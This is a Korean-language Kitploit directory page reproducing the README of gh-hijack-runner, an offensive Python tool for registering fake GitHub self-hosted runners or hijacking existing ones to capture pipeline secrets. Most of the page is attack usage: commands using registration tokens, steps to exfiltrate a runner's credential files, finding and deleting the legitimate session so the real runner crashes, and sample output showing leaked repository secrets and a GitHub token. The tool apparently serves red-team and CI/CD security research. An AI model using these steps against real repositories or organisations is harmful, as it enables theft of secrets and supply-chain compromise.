Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
gh-hijack-runner — 가짜 GitHub 러너를 생성하고 파이프라인 작업을 탈취하여 CI/CD 시크릿을 유출하는 Python 스크립트. | Kitploit
도구/GitHubGitHub/synacktiv/gh-hijack-runner
ExploitationData ExfiltrationPenetration TestingCloud SecuritySupply Chain SecurityRed Teaming
GitHubsynacktiv/gh-hijack-runner

gh-hijack-runner

가짜 GitHub 러너를 생성하고 파이프라인 작업을 탈취하여 CI/CD 시크릿을 유출하는 Python 스크립트.

저장소 보기
3351년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

gh-hijack-runner

가짜 GitHub 러너를 생성하고 파이프라인 작업을 탈취하여 CI/CD 시크릿을 유출하는 Python 스크립트입니다.

자세한 내용은 다음 블로그 게시물에서 확인할 수 있습니다: https://www.synacktiv.com/publications/hijacking-github-runners-to-compromise-the-organization

악용

등록 토큰을 획득하거나 셀프 호스팅 GitHub 러너에서 원격 코드 실행을 달성할 수 있다면, GitHub 러너를 생성하거나 탈취할 수 있습니다. 이를 통해 해당 러너에 전달되는 모든 시크릿에 접근할 수 있습니다.

등록 토큰을 사용하면 ubuntu-latest 레이블이 지정된 러너를 등록하여 원래 GitHub에서 제공하는 러너를 대상으로 한 작업에 접근할 수 있습니다. 이 방법을 사용하면 모든 워크플로를 손상시킬 수 있습니다.

root@kitploit:~
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest
[+] Session ID: b66b76a8-e7db-4a14-a2ea-207b1c8cb94d
[+] AES key: BTIk+FT2hRb[...]HN1kkg==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY21GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC

설치

root@kitploit:~
$ pip install -r requirements.txt 

사용법

등록 토큰 사용 시

저장소 또는 조직에 대해 셀프 호스팅 러너를 등록할 수 있는 등록 토큰을 얻었다면 다음 명령으로 가짜 GitHub 러너를 등록할 수 있습니다:

root@kitploit:~
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest

이 토큰은 조직 또는 저장소 등록 토큰일 수 있습니다.

기존 GitHub 러너의 자격 증명 활용

셀프 호스팅 러너에서 임의 코드 실행이 가능하다면, 손상된 러너의 정체성을 가로채기 위해 세 개의 파일을 유출해야 합니다:

root@kitploit:~
root@9f8f6f1fdfa6:/actions-runner# pwd
/actions-runner
root@9f8f6f1fdfa6:/actions-runner# ll
-rw-r--r-- 1 root   root     266 Apr 21 12:27 .credentials
-rw------- 1 root   root    1667 Apr 21 12:27 .credentials_rsaparams
-rw-r--r-- 1 root   root     325 Apr 21 12:27 .runner
[...]

작업을 가져오기 위해 러너는 GitHub와 세션을 설정합니다. 각 러너는 하나의 세션만 유지할 수 있습니다. 새 세션을 만들려면 정상 러너가 설정한 현재 세션을 삭제해야 합니다. 세션 ID는 여기에서 찾을 수 있습니다:

root@kitploit:~
root@9f8f6f1fdfa6:/actions-runner# cat _diag/* | grep -i session
[...]
[2024-04-21 18:03:46Z INFO MessageListener] Message '5' received from session 'aab007e0-eedd-4c1b-96b4-a7c2c128c31a'.

/!\ 현재 세션을 삭제하면 정상 러너가 충돌합니다 /!\

그런 다음 현재 세션을 삭제할 수 있습니다:

root@kitploit:~
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json --delete-session-id aab007e0-eedd-4c1b-96b4-a7c2c128c31a
[+] Session aab007e0-eedd-4c1b-96b4-a7c2c128c31a deleted.

마지막으로 이 러너를 탈취할 수 있습니다:

root@kitploit:~
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json                                                         
[+] Session ID: 3c88c6f7-5764-4121-b9bf-2536ee2539b7
[+] AES key: eLN3rhf3D[...]UHewLw==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY23GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC

임시(ephemeral) 셀프 호스팅 러너의 경우에는 이 방법이 작동하지 않습니다.

도움말

root@kitploit:~
$ gh-hijack-runner.py --help
Hijack GitHub runners                

Usage:
    gh-hijack-runner.py [options] --registration-token <token> --url <url> [--labels <labels> --ephemeral --rsa-params <rsa> --credentials <credentials> --runner <runner>]
    gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> [(--session-id <session> --aes-key <key>)]
    gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> --delete-session-id <session>
    

Options:
    -h --help                               Show this screen.
    --version                               Show version.
    -v, --verbose                           Verbose mode
    --output <folder>                       Save data to output file
    --runer-name <name>                     Runner name
    --runner-group <name>                   Runner group name
    --last-Message-id <id>                  Last message ID

Args:
    --registration-token <token>            Token used to register a runner
    --url <url>                             Full repository or org URL
    --rsa-params <rsa>                      Path to .credentials_rsaparams file
    --credentials <credentials>             Path to .credentials file
    --runner <runner>                       Path to .runner file
    --session-id <session>                  Already running session id
    --aes-key <key>                         Base64 encoded AES key associated with a session id
    --labels <labels>                       Labels used for registration (ubuntu-latest,customrunner)
    --ephemeral                             Create ephemeral runner
    --delete-session-id <session>           Delete session. Warning: It will crash the related GitHub runner
    

Examples:
    $ gh-hijack-runner.py --registration-token AOTAA3TOI7SACAVKBDWEQN3F5IEO2 --url https://github.com/org/repo
    $ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json

Author: @hugow

크레딧

  • @karimpwnz - 암호화 부분
  • @0xn3va - 세션 삭제 부분
  • @frichette_n - GitLab에 대한 원래 아이디어
도구 다운로드